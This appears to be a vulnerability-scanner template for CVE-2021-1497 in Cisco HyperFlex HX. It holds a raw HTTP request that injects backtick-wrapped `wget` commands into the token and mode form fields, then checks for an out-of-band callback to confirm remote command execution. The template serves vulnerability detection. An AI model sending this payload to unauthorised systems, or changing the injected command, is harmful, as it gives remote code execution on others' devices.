id: CVE-2021-1497

info:
  name: Cisco HyperFlex HX Data Platform RCE
  description: Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  author: gy741
  severity: critical
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1497
    - https://attackerkb.com/topics/mDqlWhQovO/cve-2021-1497
    - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
    - https://twitter.com/cycatz2/status/1394615546935529472
    - https://twitter.com/Unit42_Intel/status/1402655493735206915
    - https://twitter.com/ptswarm/status/1390300625129201664
    - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
  tags: cve,cve2021,cisco,rce,oob

requests:
  - raw:
      - |
        POST /storfs-asup HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: */*
        Content-Length: 78
        Content-Type: application/x-www-form-urlencoded

        action=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}`

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"